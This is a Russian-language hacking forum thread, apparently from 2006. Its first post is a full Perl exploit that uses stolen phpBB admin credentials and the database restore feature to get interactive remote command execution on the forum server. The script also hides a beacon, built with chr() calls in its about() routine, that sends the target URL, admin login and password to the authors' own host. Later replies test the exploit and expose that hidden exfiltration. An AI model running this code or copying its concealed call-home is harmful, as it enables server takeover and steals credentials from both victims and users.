Форумы phpBB admin =>2.0.19 exec exploit

Discussion in 'Уязвимости CMS/форумов' started by 0verfe1, 10 Apr 2006.

  1. 0verfe1

    0verfe1 New Member

    Joined:
    28 Aug 2005
    Messages:
    12
    Likes Received:
    2
    Reputations:
    -2
    зашел на rst.void.ru сегодня и увидел это:
    пока не тестировал,
    Code:
    #!/usr/bin/perl
    
    ## r57phpbba2e2.pl - phpBB admin 2 exec exploit 
    ## version 2 (based on user_sig_bbcode_uid bug)
    ## tested on 2.0.12 , 2.0.13 , 2.0.19
    ## --------------------------------------------
    ## screen
    ## r57phpbba2e2.pl -u http://192.168.0.2/phpBB-2.0.19/ -L admin -P password
    ## Command for execute or 'exit' for exit # id
    ## uid=80(www) gid=80(www) groups=80(www)
    ## Command for execute or 'exit' for exit # exit 
    ## --------------------------------------------
    ## *** surprise included ;)
    ## 20/02/06 
    ## 1dt.w0lf
    ## RST/GHC (http://rst.void.ru , http://ghc.ru)
    
    use LWP::UserAgent;
    use Getopt::Std;
    use HTTP::Cookies;
    
    getopts("u:L:P:i:p:o:");
    
    $url      = $opt_u;
    $login    = $opt_L;
    $password = $opt_P;
    $id       = $opt_i || 2;
    $prefix   = $opt_p || 'phpbb_';
    $proxy    = $opt_o;
    
    if(!$url || !$login || !$password){&usage;}
    
    $|++;
    
    $xpl = LWP::UserAgent->new() or die;
    $cookie_jar = HTTP::Cookies->new();
    $xpl->cookie_jar( $cookie_jar );
    $xpl->proxy('http'=>'http://'.$proxy) if $proxy;
    $ids = 'IDS:r57 phpBB2 exploit a2e220022006|'.$url.'|'.$login.'|'.$password.'|'.$id.'|'.$prefix;
     $res = $xpl->post($url.'login.php',
     [
     "username"   => "$login",
     "password"   => "$password",
     "autologin"  => "on",
     "admin"      => "1",
     "login"      => "Log in",
     ],"User-Agent" => "$ids");
     $cookie_jar->extract_cookies($res);
     if($cookie_jar->as_string =~ /phpbb2mysql_sid=([a-z0-9]{32})/) { $sid = $1; }   
     $xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?ids='.$ids);
     while ()
     {
        print "Command for execute or 'exit' for exit # ";
        while(<STDIN>)
         {
            $cmd=$_;
            chomp($cmd);
            exit() if ($cmd eq 'exit');
            last;
         }
        &run($cmd);
     }
     
    sub run($)
     {   
     $sql   = "UPDATE ".$prefix."users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='blah:`echo _START_ && ".$_[0]." && echo _END_`' WHERE user_id=".$id.";";
     &phpbb_sql_query("${url}admin/admin_db_utilities.php?sid=$sid",$sql);   
     $res = $xpl->get($url.'profile.php?mode=editprofile&sid='.$sid,"User-Agent" => "$ids");
     @result = split(/\n/,$res->content);
     $data = '';
     $on = $start = $end = 0;
     for (@result)
      {
        if (/_END_/) { $end = 1; last; }
        if ($on) { $data .= $_."\n"; }
        if (/_START_/) { $on = 1; $start = 1; } 
      }
     if($start&&$end) { print $data."\r\n"; } 
     }
     
    sub phpbb_sql_query($$){
    $res = $xpl->post("$_[0]", 
    Content_type => 'form-data',
    Content      => [ 
                    perform       => 'restore',
                    restore_start => 'Start Restore',
                    backup_file   => [ 
                                       undef,
                                       '0wneeeeedddd', 
                                       Content_type => 'text/plain',
                                       Content => "$_[1]", 
                                     ],
                    ]
    ,"User-Agent" => "$ids");
    } 
    
    sub usage()
     {
     &about();
     print "\r\n Usage: r57phpbba2e2.pl [OPTIONS]\r\n\r\n";
     print " Options:\r\n";
     print " -u [URL] - path to forum e.g. http://site/forum/\r\n";
     print " -L [login] - admin login\r\n";
     print " -P [password] - admin password\r\n";
     print " -i [id] - admin id (optional, default 2)\r\n";
     print " -p [prefix] - table prefix (optional, default phpbb_)\r\n";
     print " -o [host:port] - proxy (optional)\r\n";
     exit();
     }
     
    sub about()
      { 
      print "\\=-----------------------------------=/\r\n";
      print "| phpBB admin2exec exploit by RST/GHC |\r\n";
      print "| version 2 (user_sig_bbcode_uid)     |\r\n";
      print "/=-----------------------------------=\\\r\n";
      return 'http://rst.void.ru';
      }
     
  2. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    хмм
    что бы это значило +))
     
  3. Go0o$E

    Go0o$E Members of Antichat

    Joined:
    27 Jan 2006
    Messages:
    304
    Likes Received:
    228
    Reputations:
    419
    Наверное как всегда надо его подправить +))
     
  4. liauliau

    liauliau Member

    Joined:
    9 Apr 2005
    Messages:
    30
    Likes Received:
    6
    Reputations:
    -1
    Кто ещё проверял? у меня не работает...
     
  5. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    2 0verfe1 - А что значит =>2.0.19 ? RST что исходники будущих версий форума где-то надыбали? А вообще возникли вопросы, хотелось бы получить ответы:
    1) $sid = $1. Что значит переменная 1? Такое имя возможно?
    2) $cmd=$_; Это что за констракт такой забавный?
    3) '(.+)/e\0' Важно ли здесь чтобы нуль-байт был %00? Или оно все-равно в итоге таким как в сплоите станет?
     
  6. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Кстати, просьба тем, кто удачно заюзал сплойт, отписаться сюда - на каких версиях, кроме указанных в сплойте, он работает.
    P. S. По-моему, ограничений на сплойт нет, да? В плане, модов, версий и т. п.
     
  7. Grrl

    Grrl Elder - Старейшина

    Joined:
    17 Jul 2004
    Messages:
    180
    Likes Received:
    54
    Reputations:
    29
    ничего нового..старый добрый нулевой байт а подписи профайла..все это можно и ручками проделать имея доступ к админке форума,
     
    1 person likes this.
  8. andre

    andre New Member

    Joined:
    26 Mar 2006
    Messages:
    21
    Likes Received:
    4
    Reputations:
    2
    что с помощью него можно сделать.
    для сплоита нужен пас админа, что-то не понимаю для чего он тогда предназначен?
     
  9. Go0o$E

    Go0o$E Members of Antichat

    Joined:
    27 Jan 2006
    Messages:
    304
    Likes Received:
    228
    Reputations:
    419
    andre: Он команды выполняет
     
  10. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    2 Grrl Мог бы отписаться на форуме как это ручками организовать можно? По-моему, исходники страницы в профайле редить надо, а как?
     
  11. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    на будущее - могла ;)
     
  12. andre

    andre New Member

    Joined:
    26 Mar 2006
    Messages:
    21
    Likes Received:
    4
    Reputations:
    2
    если это дает возможность удачленно выполнять команды на сервере, то что-то не вижу смыслав нем, разве не легче шелл залить, имя доступ к админке.
     
  13. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    и как же ты зальешь шелл имея админку?
     
  14. andre

    andre New Member

    Joined:
    26 Mar 2006
    Messages:
    21
    Likes Received:
    4
    Reputations:
    2
    Упс, забыл что в пхпбб нельзя залить через смайлик, виноват
     
  15. DetMyl

    DetMyl Люминевый самолет

    Joined:
    17 Dec 2005
    Messages:
    109
    Likes Received:
    75
    Reputations:
    70
    Все работает...
    И с сюрпризом :)
     
    1 person likes this.
  16. SladerNon

    SladerNon Адам

    Joined:
    6 Mar 2005
    Messages:
    1,636
    Likes Received:
    938
    Reputations:
    355
    DetMyl

    И в чём же сюрприз? :). Кались давай :).
     
  17. Nemesis

    Nemesis New Member

    Joined:
    10 Apr 2006
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Да, колитесь, где surprise? :D
     
  18. DetMyl

    DetMyl Люминевый самолет

    Joined:
    17 Dec 2005
    Messages:
    109
    Likes Received:
    75
    Reputations:
    70
    Сюрприз простой, ребята из RST встроили в сплойт маяк, который оставляет очень-очень заметные следы для IDS сайта, к тому же скрипт отправляет домой (на rst.void.ru/ids/ids.php ) информацию о сайте который пытаются поломать, пароль и логин админа :)

    Нейтрализуется он очень просто, надо просто внимательно почитать исходник. Исправления я здесь постить не буду, т.к. считаю что если встроили такую фишку, и хацкер не может ее просечь, значит надо:)
    Но дам пару подсказок:
    1) Обращаем внимание на IDS
    2) Читаем ВНИМАТЕЛЬНО about
    но если бензина не хватит, пишите в приват:)
     
    1 person likes this.
  19. Grrl

    Grrl Elder - Старейшина

    Joined:
    17 Jul 2004
    Messages:
    180
    Likes Received:
    54
    Reputations:
    29
    просмотрела внимателно сорец действительно там сюрприз причем оригинально замаскирован
    так что подчищайте сорцы прежде чем юзать подсказок DetMyl более чем достаточно даже для новичков...
     
  20. Head-Hunter

    Head-Hunter Banned

    Joined:
    6 Jan 2006
    Messages:
    14
    Likes Received:
    6
    Reputations:
    1
    аха пусть покажут как =)))